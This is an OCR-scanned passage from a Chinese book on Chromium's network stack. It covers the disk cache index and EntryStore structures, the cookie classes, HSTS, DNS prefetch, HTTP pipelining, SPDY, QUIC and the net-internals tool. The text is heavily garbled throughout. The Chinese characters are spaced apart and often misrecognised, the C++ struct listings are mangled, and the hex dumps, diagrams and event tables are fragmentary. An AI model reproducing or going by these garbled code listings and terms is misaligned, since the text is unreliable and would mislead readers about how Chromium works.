者 认为 这 个 接口 的 设计 很 清晰 简单 与 Chromium 中 的 一 些 其 他 接口 比 
较 ) ， 主 要 有 两 个 类 : Backend 和 Entry。Backend 类 表示 整个 磁盘 组 
存 ， 是 所 有 针对 破 盘 缓存 操作 的 主 入 口 ， 表 示 的 是 一 个 缓存 表 。Entry 
类 指 的 是 表 中 的 表 项 。 绥 存 通常 是 一 个 表 ， 对 于 整个 表 的 操作 作用 在 
Backend 类 上 ， 包 括 创 建 表 中 的 一 个 个 项 ， 每 个 项 由 关键 字 来 唯一 确 
定 ， 这 个 关键 字 束 是 资源 的 URL。 而 对 项 目 内 的 操作 ， 包 括 读 写 等 都 是 
由 Entry 类 来 处 理 。 读 者 可 以 通过 在 地 址 栏 输入 “chrome:/view-http- 
cache/” 来 查看 这 些 项 ， 图 4-19 是 一 个 表 项 的 内 部 存储 内 容 。 




















http://www. chromium. org/_/rsre/1369661866000/system/app/css/symbol font. css 


HTTP/1.1 200 OK 

Content-Type: text/css; charset=UTF-8 
K-Frame-Options: SAMEORIGIN 

Expires: Wed, 04 Jun 2014 10:28:20 GMT 
Date: Tue, 04 Jun 2013 10:28:20 GMT 
Cache-Control: public, max-age=31536000 
Content-Encoding: gzip 
K-Content-Type-Options: nosniff 
R-Z55-Protection: 1; mode=block 
Content-Length: 331 

Server: GSE 


0000 
0000 
00000020: 
00000030: 


0000: 
0 
0 
0 
00000040: 
0 
0 
0 
0 


O10: 


00000050: 
ooo00060: 





00000070: pires: Wed, 04 J 
D00000080: 32 sf 34 20 31 30 3a 32 38 3a 32 un 2014 10:28:20 











图 4-19 —+#BRBBARM AA BA 





下 面 介 绍 表 和 表 项 是 如 何 被 组 织 和 存储 在 磁盘 上 的 。 在 磁盘 上 ， 
Chromium 至 少 需 要 一 个 索引 文件 和 四 个 数据 文件 。 索引 文件 用 来 检索 
存放 在 数据 文件 中 的 众多 索引 项 ， 用 来 索引 表 项 。 数 据 文件 又 称 块 文 
件 ， 里 面包 含 很 多 特定 大 小 《例如 256 字 节 或 者 1k 字 节 ) 的 块 ， 用 于 快 
速 检索 ， 这 些 数 据 块 的 内 容 是 表 项 ， 包 括 HITP 文 件 头 、 请 求 数据 和 资 
源 数据 等 ， 数 据 文件 名 形 如 “data_1”、“data_2” 等 。 








当 资 源 文件 大 小 超过 一 定 值 的 时 候 ，Chromium 会 建立 单独 的 文件 
来 保存 它们 ， 而 不 是 将 它们 放 入 上 面 的 4 个 数据 文件 中 。 这 些 单 独 存 储 
的 文件 中 并 没有 元 数据 信息 ， 只 是 资源 文件 内 容 ， 其 文件 名 形 
如 “f_xxxxx”， 其 中 xxxxx 是 5 个 数字 或 者 ABCDEF (十 六 进 制 ) ， 用 于 表 
示 编 号 。 








索引 文件 的 结构 定义 如 图 4-20 所 示 ， 可 以 看 到 它 包 括 一 个 索引 的 头 
部 和 索引 地 址 表 。 ee | 文件 的 信息 ， 例 如 索引 文件 版 本 
号 、 索 引 项 数量 、 文 件 大 小 等 信息 。 而 索引 地 址 表 惑 是 保存 各 个 表 项 对 
应 的 索引 地 址 。 该 索引 文件 直接 将 文件 映射 到 内 存 地 址 ， 这 样 可 以 快速 
地 找到 表 项 的 索引 地 址 。 索 引 地 址 的 含义 以 下 面 两 个 例子 作 如 下 解释 。 

















str eE NET . BRPORT | PRIVATE IndexHeader { 
t32 


// Number of entries currently stored. 

// Total size of the stored data. 

// Last external file created. 

// Id for all entries being changed (dirty flag). 
// Storage for usage data. 





// Actual size of the table (0 == kIndexTablesize). 
// Signals a kar gus crash. 
int32 i // Ta of an a sing test. 
uint64 create time; // Creation time for this set of files. 
int3 pad[ T; 
LruData Iraz // Eviction control data. 
ia 


}; 
struct Index { // The structure of the whole index file. 
IndexHeader header; 
CacheAddr table[kIndexTablesize]; // Default size. Actual size controlled 
by header.table_len. 
Me 











图 4-20 索引 文件 的 结构 表示 


e 0x8000001C: ”前 四 位 中 的 8 表示 这 个 地 址 指 癌 的 表 项 是 一 个 单独 的 
文件 (说 明 内 容 大 于 特定 值 ) ， 后 面 20 位 表示 文件 名 字 中 的 编号 ， 
所 以 文件 名 为 “f_0001C”。 

e 0xA0020001: ”前 四 位 中 的 A 表示 这 个 地 址 指 问 的 表 项 是 存 入 数据 
文件 “data_2” 的 第 一 个 块 。 








这 些 表示 方法 不 是 固定 的 ， 以 后 也 可 能 发 生 改变 ， 但 是 基本 思想 


致 如 此 。 数 据 文件 的 结构 总 体 上 也 是 类 似 的 ， 它 也 是 一 个 文件 头 加 上 后 
面 的 块 文件 。 前 面 说 过 ， 每 个 块 的 大 小 是 固定 的 ， 例 如 512 字 节 ， 所 以 
当 需 要 超过 512 字 节 的 时 候 ，Chromium 可 能 会 为 其 分 配 多 个 块 来 解决 这 
一 问题 。 但 是 ， 最 多 不 能 超过 四 个 块 〈 前 面 说 过 大 于 四 个 块 的 通常 是 单 
独 的 文件 ) 。 男 一 方面 ， 如 果 一 个 表 项 需要 分 配 四 个 块 ， 那 么 通常 跟 块 
在 文件 中 的 索引 位 置 是 对 齐 的 ， 也 束 是 起 始 块 的 位 置 是 4 的 倍数 。 





表 项 的 结构 也 分 为 两 个 部 分 ， 第 一 部 分 用 于 标记 自己， 包括 各 种 元 
数据 信息 和 自身 的 内 容 ， 通 第 它 是 较 少 变动 的 ， 在 Chromium 中 用 
disk_cache::EntryStore 类 表示 ; 男 一 部 分 经 和 常 发 生变 动 ， 在 Chromium 中 
用 disk_cache::RankingsNode 类 表示 ， 它 的 大 小 固定 ， 主 要 为 表 项 的 回收 
算法 服务 ， 里 面 保存 了 回收 算法 所 需要 的 信息 。EntryStore 的 结构 体 定 
义 如 图 4-21 所 示 。 图 中 有 一 些 标 记 该 表 项 的 数据 ， 例 
如 “hash”、“key” 等 。“key” 其 实 是 资源 的 URL， 如 果 URL 过 于 长 ， 那 
么 “long_key” 就 派 上 了 用 场 ， 可 以 用 一 个 或 者 多 个 块 来 存 
储 。“data_addr” 可 以 存储 多 达 四 个 地 址 ， 它 们 指向 不 同 的 位 置 ， 这 些 地 
址 可 以 表示 HTTP 头 、 资 源 内 容 等 。 











SLE uat EntryStore { 
uin ESZ hash; // Full hash of the key. 
CacheAddr next // Next entry with the same hash or bucket. 
CacheAddr pe eee // Rankings node for this entry. 
int32 reuse_count; // How often is this entry used. 
int32 nefetch count; // How often is this fetched from the net. 
int32 statey // Current state. 
uint64 creation time; 
int32 key_len; 
CacheAddr long key; // Optional address of a long key. 
int32 data_size[4]; // We can store up to 4 data streams for each 
CacheAddr data_addr[4]; // entry. 
uint32 flags; // Any combination of EntryFlags. 
int32 pad[4]; 
uint32 self hash; // The hash of EntryStore up to this point. 
char key [256 一 24 * Al; // null terminated 
}; 











图 4-21 EntryStore 的 结构 体 定义 


总 结 上 面 的 定义 和 描述 ， 可 以 描绘 出 磁盘 缓存 的 存储 结构 ， 如 图 4- 


Ht 文件 1 表 项 1 数据 





data_addr[4] 








地 址 ... 


单独 文件 : f_ 00001 





图 4-22 使 用 索引 文件 和 数据 文件 的 表 项 索引 方式 





Chromium 使 用 LRU 算 法 来 回收 表 项 。 因 为 磁盘 存储 的 空间 是 有 限 
的 ， 不 能 无 限 增长 下 去 ， 所 以 对 于 很 少 使 用 到 的 表 项 ， 可 以 回收 这 一 部 
分 磁盘 空间 。 


4.3.4 “Cookie 机 制 | 





Cookie 是 一 项 很 “古老 ”的 技术 ， 因 为 比较 简单 易 用 ， 所 以 一 直 受 到 
广泛 的 应 用 。Cookie 格 式 就 是 一 系列 的 “关键 字 + 值 ?对 ， 一 个 简单 的 例 
子 如 下 : 


testi=webkit; test2=chromium;Expires=Sun, 30 Oct 2016 21:35:00 


例子 中 包括 两 个 自 定义 的 关键 字 ， 分 别 是 “test1” 和 “test2”， 它 们 的 
值 分 别 为 “webkit? 和 “chromium”。 后 面 的 则 是 预定 义 的 关键 


字 “Expires” 和 “Domain”， a 是 该 Cookie 的 失效 时 间 和 该 Cookie 对 应 
的 域 。 基 于 安全 性 考虑 ， 页 的 Cookie 只 能 被 该 网 页 (或 者 说 是 该 
域 的 网 页 ) 访问 。 


根据 Cookie 的 时 效 性 可 以 将 Cookie 分 成 两 种 类 型 ， 第 一 种 是 会 话 型 
Cookie (Session Cookie) ， 这 些 Cookie 只 是 保存 在 a EDID 
退出 的 时 候 即 清除 这 些 Cookie。 如 果 Cookie 没 有 设置 失效 时 间 ， 就 是 会 
话 型 Cookie。 第 二 种 是 持续 型 Cookie (Persistent Cookie) ， 也 就 是 当 浏 
览 器 退出 的 时 候 ， 仍 然 保 留 Cookie 的 内 容 。 该 类 型 的 Cookie 有 一 个 有 效 
期 ， 在 有 效 期 内 ， 每 次 访问 该 Cookie 所 属 域 的 时 候 ， 都 需要 将 该 Cookie 
发 送 给 服务 器 ， 这 样 服务 器 能 够 有 效 退 踪 用 户 的 行为 。 





Chromium 中 文 持 Cookie 的 机 制 也 较为 简单 和 清晰 ， 如 图 4-23 所 示 的 
是 Chromium 上 所 设计 和 使 用 的 主要 类 及 其 关系 。 O E 
机 制 中 最 重要 的 类 ， 实 际 上 相当 于 Cookie 管 理 器 ， 它 包括 几 个 作用 : 
一 是 实现 CookieStore 的 接口 ， 它 是 对 外 的 接口 ， 调 用 者 可 seas 得 
Cookie; 第 二 是 报告 各 种 Cookie 的 事件 ， 例 如 更 新 信息 等 ， 主 要 使 用 
Delegate 类 ; 第 三 是 Cookie 对 象 的 集合 it x CanonicalCookie Hz 
合 ， 每 个 CanonicalCookie 对 象 表 示 re 的 Cookie 结 合 。 最 后 是 持续 型 
Cookie 的 存储 ， 上 面 讲 的 数据 都 是 保存 在 内 存 中 的 ， 当 需要 存储 到 磁盘 
的 时 候 使 用 PersistentCookieStore 类 ， 有 具体 由 SQLitePersistentCookieStore 
类 负责 实际 的 存储 动作 。 























CookieStore 
+SetCookieW ithOptionsAsync() 
+GetCookiesWithOptionsAsync() 





Delegate CanonicalCookie 
+OnCookieChanged() - ies_ i -domain_ 


-expiry_date_ 
-name_ 


-value_ 


PersistentC ookieStore 
+AddCookie() 
+UpdateCookieAccessTime() 








个 
SQLitePersistentCookieStore 


图 4-23 ” Chromium 的 Cookie 相 关 类 及 其 关系 


4.3.5 ”安全 机 制 


HTTP 是 一 种 使 用 明文 来 传输 数据 的 应 用 层 协 议 。 构 建 在 SSL 之 上 
的 HTTPS 提 供 了 安全 的 网 络 传输 机 制 ， 现 已 被 广泛 应 用 于 网 络 上 。 典 型 
的 是 电子 商务 、 银 行 支付 方面 的 应 用 。 基 本 上 所 有 的 浏览 器 都 支持 该 协 
议 ，Chromium 当 然 也 不 例外 ， 这 些 会 在 第 12 章 安全 机 制 中 作 介 绍 。 





不 仅 如 此 ，Chromium 也 文 持 一 种 新 的 标准 ， 这 就 是 HSTS (HTTP 
Strict Transport Security) 。 该 协议 能 够 让 网 络 服务 器 声明 它 只 文 持 
HTTPS 协 议 ， 所 以 浏览 圳 能 够 理解 服务 器 的 声明 ， 发 送 基于 HITTPS 的 连 
接 和 请 求 。 通 常情 况 下 ， 浏 览 器 的 用 户 不 会 输入 “scheme Chttp://) ”, 
浏览 器 的 补 齐 功能 通常 会 加 入 该 rscheme”， 但 是 ， 服 务 器 可 能 需 
要 “https:/”。 在 这 样 的 情况 下 ， 访 协议 就 显得 非常 有 用 。 一 般 情 况 下 ， 
服务 在 返回 的 消息 头 中 加 入 以 下 信息 表明 它 文 持 该 标准 : 





Strict-Transport-Security:max-age=16070400;includeSubDomains 


4.3.6 ”高 性 能 网 络 栈 


Chromium 的 网 络 模块 有 两 个 重要 目标 ， 其 一 是 安全 ， 其 二 是 速 
度 。 为 此 ， 该 项 目 引 入 了 很 多 WebKit 所 没有 的 新 技术 ， 这 是 一 个 很 好 的 
学 习 对 象 。 





4.3.6.1 DNS 预 取 和 TCP 预 连接 (Preconnect) 





一 次 DNS 查询 的 平均 时 间 大 概 是 60 一 120ms 之 间或 者 更 长 ， 而 TCP 
的 三 次 握手 时 间 大 概 也 是 几 十 坚 秒 或 者 更 长 。 看 似 一 个 很 短 的 时 间 ， 但 
是 相对 于 网 页 的 泻 染 来 说 ， 这 是 一 个 非常 长 的 时 间 。 如 何 有 效 地 减少 这 
段 时 间 ，Chromium 给 出 了 自己 的 答案 一 一 DNS 预 取 和 TCP 预 连接 ， 它 们 
都 是 由 Chromium 的 “Predictor” 机 制 来 实现 的 。 








首先 是 DNS 预 取 技 术 。 它 的 主要 思想 是 利用 现 有 的 DNS 机 制 ， 提 前 
解析 网 页 中 可 能 的 网 络 连接 。 有 基体 来 讲 ， 当 用 户 正在 浏览 当前 网 页 的 时 
候 ，Chromium 提 取 网 页 中 的 超 链 接 ， 将 域名 抽取 出 来 ， 利 用 比较 少 的 
CPU 和 网 络 带 宽 来 解析 这 些 域名 或 I1P 地 址 ， 这 样 一 来 ， 用 户 根本 感觉 不 
到 这 一 过 程 。 当 用 户 单 击 这 些 链接 的 时 候 ， 可 以 节省 不 少时 间 ， 特 别 在 
域名 解析 比较 慢 的 时 候 ， 效 果 特 别 明显 。 





DNS 预 取 技 术 不 是 使 用 前 面 提 到 的 Chromium 网 络 栈 ， 而 是 直接 利 
用 系统 的 域名 解析 机 制 ， 好 处 是 它 不 会 阻碍 当前 网 络 栈 的 工作 。DNS 预 
取 技 术 针 对 多 个 域名 采取 并 行 处 理 的 方式 ， 每 个 域名 的 解析 须 由 新 开局 
的 一 个 线程 来 处 理 ， 结 束 后 此 线程 即 退 出 。 





网 页 的 开发 者 可 以 显示 指定 预 取 哪 些 域 名 来 让 Chromium 解 析 ， 这 





非常 直截了当 ， 特 别 对 于 那些 需要 重 定 同 的 域名 ， 具 体 做 法 如 下 所 未 : 
<link rel="dns-prefetch"href="http://this-is-a-dns-prefetch-example.com">. 
当然 ，DNS 预 取 技 术 不 仅 应 用 于 网 页 中 的 超 链 接 ， 当 用 尸 在 地 址 栏 中 输 
入 地 址 后 ， 候 选项 同 输入 的 地 址 很 匹配 的 时 候 ， 在 用 户 敲 下 回 车 键 获取 
该 网 页 之 前 ，Chromium 已 经 开始 使 用 DNS 预 取 技术 解析 该 域名 了 。 








可 以 通过 在 地 址 栏 中 输入 “chrome://dns/* 查 看 Chromium 的 DNS 预 取 
的 域名 。 在 笔者 的 浏览 器 中 ， 用 户 可 以 看 到 表 4-1 所 示 的 预 取 结果 。 接 
下 来 是 TCP 预 连接 。 


表 4-1 Chromium 的 DNS 预 取 技 术 的 实例 结果 





How long ago 
(HH:MM:SS) 


Host name Motivation 


[| 


https://www.google.com/ 03:00:40 n/a | 


Chromium 使 用 追踪 技术 来 获取 用 户 从 什么 网 页 跳 转 到 男 外 一 个 网 
页 。 可 以 利用 这 些 数据 、 一 些 局 及 式 规 则 和 其 他 一 些 暗 示 来 预测 用 户 下 
面 会 单 击 什 么 超 链接 ， 当 有 足够 的 把 握 时 ， 它 便 先 DNS 预 取 ， 更 进 一 
步 ， 还 可 以 预先 建立 TCP 连 接 。 听 起 来 够 智能 的 吧 ? 是 的 ， 但 是 这 对 用 
户 的 隐私 是 一 个 极 大 的 挑战 ， 它 甚至 能 预测 你 单 击 什么 超 链 接 ! 


同 DNS 预 取 技 术 一 样 ， 退 踪 技 术 不 仅 应 用 于 网 页 中 的 超 链 接 ， 当 用 
户 在 地 址 栏 中 输入 地 址 ， 如 候选 项 同 输入 的 地 址 很 匹配 ， 则 在 用 户 融 下 


回 车 键 获取 该 网 页 之 前 ，Chromium 就 已 经 开始 尝试 建立 TCP 连 接 了 。 
(1) 


4.3.6.2 HTTP 管线 化 〈Pipelining ) 
我 们 知道 ， 很 多 时 候 ， 服 务 器 和 浏览 器 通信 是 按 顺序 来 的 ， 也 就 是 


说 ， 浏 览 句 发 送 一 个 请 求 给 服务 器 ， 等 到 服务 器 的 回复 后 ， 才 会 发 送 忆 
外 一 个 请 求 。 这 样 做 的 星 端 是 效率 极 差 。 











HTTP ”1.1 开始 增 加 了 管线 化 (Pipelining)〉 技术 。Chromium 当 然 也 
支持 这 一 技术 ， 但 它 需 要 服务 器 的 支持 ， 两 者 配合 才能 实现 HTTP 管 线 
化 。HITTP 管 线 化 技术 是 一 项 同时 将 多 个 HTTP 请 求 一 次 性 提交 给 服务 器 
的 技术 ， 因 此 无 需 等 竺 服务 器 的 回复 ， 因 为 它 可 能 将 多 个 HITP 请 求 填 
充 在 一 个 TCP 数 据 包 内 。HTTP 管 线 化 需要 在 网 络 上 传输 较 少 的 TCP 数 据 
包 ， 因 此 减少 了 网 络 负载 。 图 4-24 摘 述 了 HTTP 管 线 化 技术 是 如 何 传送 
请 求 和 回复 的 。 





图 4-24 使 用 HTTP 管 线 化 技术 的 请 求 和 回复 





请 求 结果 的 管线 化 使 得 HTML 网 页 加 载 时 间 动 态 提升 ， 特 别 是 在 有 具 
体 有 高 延迟 的 连接 环境 下 。 在 速度 较 快 的 网 络 连接 环境 下 ， 提 速 可 能 不 
是 很 明显 。 因 为 ， 这 些 请 求 还 是 有 明显 的 先后 顺序 。 管 线 化 机 制 需 要 通 
过 永久 连接 (Persistent Connection) 完成 ， 并 且 只 有 GET 和 HEAD 等 请 
求 可 以 进行 管线 化 ， 使 用 场景 有 很 大 的 限制 。 











4.3.6.3 SPDY 





HTTP 管 线 化 技术 有 很 大 的 限制 和 缺陷 ， 那 么 如 何 解 决 这 些 问题 

We? 在 引入 SPDY 协 议 之 前 ， 同 很 多 成 功 案例 背后 有 众多 的 失败 实验 一 
样 ， 也 尝试 了 一 些 解决 方案 ， 例 如 SCTP、SST、MUX 等 ， 它 们 主要 作 
用 在 传输 层 或 者 会 话 层 上 。 但 是 ， 之 前 的 技术 只 是 解决 了 部 分 问题 ， 而 
HTTP 相 关 问 题 〈 如 压缩 等 ) 依然 没有 解决 ， 而 且 在 传输 层 的 协议 很 难 
实施 。 为 此 ，Chromium 引 入 了 新 的 机 制 一 一 SPDY。SPDY 就 是 为 了 解 
决 网 络 延 迟 和 安全 性 问题 。 根 据 Google 的 官方 数据 ， 使 用 SPDY 协 议 的 
服务 器 和 客户 端 可 以 将 网 络 加 载 的 时 间 减 少 64%， 好 消息 是 ， 在 

















HTTP2.0 的 草案 中 将 引入 SPDY 协 议 ， 将 其 作为 基础 来 编写 。 


SPDY 协 议 是 一 种 新 的 会 话 层 协议 ， 因 为 网 络 协议 是 一 种 栈 式 结 
构 ， 它 被 定义 在 HTTP 协 议和 TCP 协 议 之 间 ， 图 4-25 描 述 了 这 些 协议 之 间 
的 层次 关系 。 





HTTP (应 用 层 》 


SPDY (会 话 层 ) 


SSL 《表示 层 》 


TCP (传输 层 ) 





图 4-25 ”SPDY 协 议 所 处 的 层次 


SPDY 协 议 的 核心 思想 是 多 路 复 用 ， 仅 使 用 一 个 连接 来 传输 一 个 网 
页 中 的 众多 资源 。 从 图 4-25 中 读者 也 可 以 看 到 ， 它 本 质 上 并 没有 改变 
HTTP 协 议 ， 只 是 将 HTTP 协 议 头 通过 SPDY 来 封装 和 传输 。 数 据 传 输 方 
式 也 没有 发 生变 化 ， 也 是 使 用 TCP/IP 协 议 。 所 以 ，SPDY 协 议 相 对 比较 
容易 部 署 ， 服 务 器 只 需要 插入 SPDY 协 议 的 解释 层 ， 从 SPDY 的 消息 头 中 
获取 各 个 资源 的 HITP 头 即 可 。 其 次 ，SPDY 协 议 必 须 建 立 在 SSL 层 之 
上 ， 这 是 一 个 比较 大 的 限制 ， 因 为 有 很 多 网 站 不 一 定 希 望 文 持 HITTPS。 
SPDY 的 工作 方式 有 以 下 四 个 特征 。 





。 利用 一 个 ICP 连 接 来 传输 不 限 个 数 的 资源 请 求 的 读 写 数据 流 ， 这 与 





之 前 的 为 每 个 资源 请 求 都 建立 一 个 TCP 连 接 大 大 不 同 ， 这 明显 提高 
了 TCP 连 接 的 利用 率 ， 减 少 了 TCP 连 接 的 维护 成 本 。 前 面 我 们 也 说 
过 ， 建 立 一 个 TCP 连 接 的 时 间 为 几 十 毫秒 或 者 更 长 ， 这 显然 能 够 减 
少时 间 。 

根据 资源 请 求 的 特性 和 优先 级 ，SPDY 可 以 调整 这 些 资源 请 求 的 优 
先 级 ， 例 如 JavaScript 资 源 的 优先 级 很 高 ， 服 务 器 优先 传输 回复 该 类 
型 的 请 求 。 在 网 络 带 宽 不 是 很 理想 的 情况 下 ， 这 是 一 种 折 中 。 

只 对 这 些 请 求 使 用 压缩 技术 ， 可 大 大 减少 需要 传送 的 字 节 数 。 这 一 
思想 已 广泛 应 用 于 各 种 浏览 器 。 

当 用 户 需要 浏览 某 个 网 页 ， 支 持 SPDY 协 议 的 服务 器 在 发 送 网 页 内 
容 时 ， 可 以 党 试 发 送 一 些 信息 给 浏览 器 ， 告 诉 后 面 可 能 需要 哪些 资 
源 ， 浏 览 器 可 以 提前 知道 并 决定 是 否 需 要 下 载 。 更 极端 的 情况 是 ， 
服务 器 可 以 主动 发 送 资源 。 








在 介绍 完 SPDY 协 议 之 后 ， 让 我 们 一 起 看 看 SPDY 协 议 引 入 之 后 ， 


Chromium 的 网 络 栈 产 生 了 哪些 变化 。 回 顾 图 4-14 描 述 的 调用 栈 ， 图 4-27 
给 出 了 基于 SPDY 协 议 的 网 络 栈 的 结构 。 图 4-26 中 看 到 的 好 像 跟 4-14 图 
中 的 没有 大 的 不 同 ? 是 的 ， 大 体 上 都 是 这 种 栈 结构 。 但 是 ， 人 至 少 还 是 有 





三 反 不 同 。 






URLRequest 
URLRequestJob(Http) URLRequestJobFactory 
HttpNetworkTransaction 


SpdySessionPool SpdySession 
SpdyStream 











图 4-26 基于 SPDY 协 议 的 网 络 栈 


t=1370825894043 [st= 1] SPDY_S 
--> fin = true 
--> :ho : www.google.com.hk 
:II GET 
:path: 
/complete/search?client=chrome&q=g&cp=1&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU210pBXqWBgw 
e https 
:version: HTTP/1.1 
pt-encoding: gzip,deflate, sdch 
accept-language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4 
cookie: [248 bytes were stripped] 
user-agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/27.0.1453.110 Safari/537.36 
x-chrome-variatic : 
CMG1yQEIjrbJAQihtskBCKO2 yOEIp7bJAQiptskBCKy2yQEI 94 PKAQi OhMoBCMKF ygEI 0YXKAQ== 
--> stream_id 


--> unidirectional = fals 
t=1370825894054 [st= 12] £ ION_SEND_RST_STREAM 





--> description = 


13] SPDY_§ ION_SYN_STREAM 


www.google.com.hk 


sugkey=AlzaSyBOti4mM-6x9WDnZ1j leyEU210pBXqWBgw 


, zh-CN; q=0.6, zh; q=0.4 


cookie: [248 bytes were stripped] 
user-agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/27.0.1453.110 Safari/537.36 


x-chrome-variatic : 
CMG1yOETj rbJAQihtskBCKO2 yOEIp7bJAQiptskBCKy2yOEI 94 PKAQi OhMoBCMKF ygEI 0 YXKAQ== 
--> stream id 


--> unidirectional 





图 4-27 SPDY 协 议 的 消息 格式 








。 虚线 框 表示 可 能 有 多 个 SpdyStream 和 SpdyHttpStream 对 象 ， 也 就 是 
多 个 流 使 用 一 个 SpdySession 会 话 ， 同 时 使 用 一 个 socket 连 接 。 对 多 
个 Stream 对 象 的 管理 、 删 除 、 创 建 、 数 量 限 制 等 都 是 由 SpdySession 
来 处 理 。 

对 于 之 前 的 一 些 类 ，Spdy 有 专门 的 实现 ， 因 为 需要 文 持 新 协议 的 关 
Ao 

SpdyHttpStream 类 继承 自 之 前 的 HttpStream 类 ， 所 充当 的 角色 相同 
就 是 一 个 HttpStream 类 ， 但 是 SpdyHttpStream 类 会 对 应 一 个 
SpdyStream 并 将 Spdy 协 议 部 分 等 实际 工作 交 给 SpdyStream 类 来 做 。 








为 了 对 Spdy 协 议 有 直观 和 清晰 的 认识 ， 在 这 里 ， 笔 者 利用 
Chromium 浏 览 器 提供 的 工具 chrome://net-internals/#events & 
q=type:SPDY_SESSION%20is:active 来 查看 浏览 器 在 访问 
https:/www.google.com.hk 时 使 用 SPDY 协 议 的 一 些 消 息 。 图 4-27 显 示 了 

其 中 一 部 分 浏览 器 和 服务 器 之 间 传 输 的 消 轧 ， 限 于 篇 幅 ， 这 里 只 是 市 
选 。 


图 中 共有 三 个 消息 发送 给 服务 器 。 每 个 消息 的 最 上 面 是 当前 的 时 间 
惟 和 消息 类 型 。 之 后 是 消息 体 ， 其 中 包括 SPDY 协 议定 义 的 消息 格式 ， 
SPDY 协 议 中 有 个 属性 表示 的 是 HTTP 的 消息 头 。 每 个 消息 都 对 应 一 个 
stream 鸭 id， 用 于 标记 不 同 的 资源 请 求 。 图 中 有 stream 的 id 为 “1” 和 “3”。 

















4.3.6.4 QUIC 


QUIC 是 一 种 新 的 网 络 传输 协议 ， 主 要 目标 是 改进 UDP 数 据 协 议 的 


能 力 。 同 SPDY 建 立 在 传输 层 之 上 不 同 ，QUIC 所 要 解决 的 问题 就 是 传输 
层 的 传输 效率 ， 并 提供 了 数据 的 加 密 。 所 以 ，SPDY 可 以 在 QUIC 之 上 工 
ee 





QUIC 已 经 被 放 入 Chromium 的 代码 中 ， 你 可 以 在 
https://chromium.googlesource.com/chromium/src/net/+/master/quic/ 看 到 | 
er 2) 

Kio | 


4.3.7 SER: Chromium 24 TH All 


a 
信息 





网 络 栈 是 复杂 的 ， 为 了 开发 者 比较 容易 查看 网 络 的 相关 信息 ， 
Chromium 浏 览 器 提供 了 强大 的 工具 帮助 理解 网 络 栈 。 


Chromium 提 供 了 用 户 友好 的 网 络 信息 工具 chrome:/net-internals， 实 
际 上 ， 前 面 在 介绍 网 络 栈 工 作 原 理 的 时 候 ， 己 经 提 到 过 它 。 读 者 可 在 地 
址 栏 中 使 用 该 工具 答 试 打开 一 些 网 页 ， 就 可 以 看 到 各 种 各 样 的 信息 ， 
为 该 工具 被 打开 后 才 开 始 工作 。 


用 户 打 开 这 一 工具 后 可 以 看 到 Capture、Export、Import、Proxy、 
Events. Timeline、DNS、Sockets、SPDY、QUIC、Pipelining、Cache、 
SPIs、Tests、HSTS、Bandwidth、Prerender 等 类 别 。 很 多 类 别 相信 读者 
看 名 字 就 能 够 知道 它们 是 干什么 的 。 这 里 介绍 几 个 类 别 和 它们 的 用 法 ， 
其 中 一 个 类 “Prerender” 暂 不 介绍 ， 等 讲 完了 完整 演 染 过 程 后 再 介绍 它 。 





首先 是 Events 类 别 ， 访 类别 记 录 了 上 所 有 网 络 栈 完成 的 工作 和 传送 的 
消息 。 这 些 消息 按照 它们 所 在 的 Chromium 中 类 的 对 象 来 区 分 。 图 4-28 记 


录 了 笔者 的 浏览 器 当前 网 络 栈 的 内 部 信息 。 第 一 列 是 ID， 标 记 这 些 对 
象 。 第 二 列 是 对 象 的 类 ， 读 者 看 一 看 ， 束 能 够 友 现 它们 是 之 前 介绍 的 网 
络 栈 中 的 各 种 类 。 其 中 有 些 以 _JOB 结 尾 的 类 ， 表 示 一 个 个 的 任务 ， 这 
些 任务 可 能 是 连接 、 域 名 解析 等 它们 不 负责 具体 的 工作 ， 只 起 到 一 层 
桥接 和 封装 的 作用 ， 任务 完成 后 就 直接 BRS. SAP dee HK 
时 候 ， 当 前 页 面 会 给 出 当前 对 象 从 过 去 到 现在 发 生 的 各 个 操作 ， 或 者 叫 
事件 。 
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ID Source Type Description 
133| SOCKET 
3586| SOCKET 
604 | SOCKET 
[v] 3660 URL_REQUEST https://clients4.google.com/chrome-sync/command/?client=Google+ Chrome&client_id=EdtTTySgh9iBnJOQSEtHDg%3D%3D 
3661/HTTP_STREAM_JOB s://clients4.google.c: 












L] | 3662) HOST_RESOLVER_IMPL_REQUEST | clie 














m:443 
3663) CONNECT_IOB m:443 
3664) CONNECT_JOB m:443 

O |36 OST_RESOLVER_IMPL_REQUEST |cl 443 














chen 
36 _RESOLVER_IMPL_REQUEST | clients4， 
3568 SOCKET ssl/clients4.google.com:443 
3669| CONNECT_JOB ssl/clients4.google.com:443 
3670) HOST_RESOLVER_IMPL_REQUEST jclients4.google.com:443 
36 OST_RESOLVER_IMPL_REQUEST 
3672| SOCKET 
3673| HOST_RESOLVER_IMPL_REQUEST | clien oogle. 
3674|SPDY_SESSION 
3675|URL_REQUEST 
3676) HTTP_STREAM_JOB 























































nmand/?client=Google+ Chrome&client_id=EdtTTySgh9iBnJOQ8EtHDg %3D %3D 























图 4-28 ”网络 栈 的 “Events” 类 别 信 息 


其 次 是 类 别 “Timeline”。 它 的 含义 就 是 一 个 按照 时 间 绘 制 的 图 ， 图 
中 记录 在 各 个 时 间 点 Chromium 使 用 的 网 络 资源 ， 例 如 打开 的 套 接 字数 
目 、DNS 请 求 、 数 据 传 输 量 等 ， 这 一 监测 信息 很 有 用 。 


其 他 的 类 别 基 本 比较 容易 理解 ， 都 与 上 面 我 们 介绍 过 的 技术 相关 。 
读者 有 兴趣 的 话 ， 可 以 目 行 作 一 些 答 试 ， 对 于 理解 本 节 介 绍 的 原理 非常 
有 帮助 。 


4.4 实践 : pay OCH) oe IE H ORS 


WebKit 和 Chromium 为 了 高 效率 地 下 载 资 源 ， 设 计 出 了 各 种 各 样 的 
策略 和 新 技术 ， 那 么 对 于 网 页 而 言 ， 是 人 否 可 以 直接 使 用 它们 而 不 需要 优 
化 代码 本 喘 了 呢 ? 当然 不 是 ， 性 能 越 高 越 好 ， 优 化 总 是 无 止境 的 。 





4.4.1 DNS 和 TCP 连 接 





通过 上 面 的 描述 可 知 ，DNS 解 析 和 TCP 连 接 占 用 大 量 的 时 间 ， 所 以 
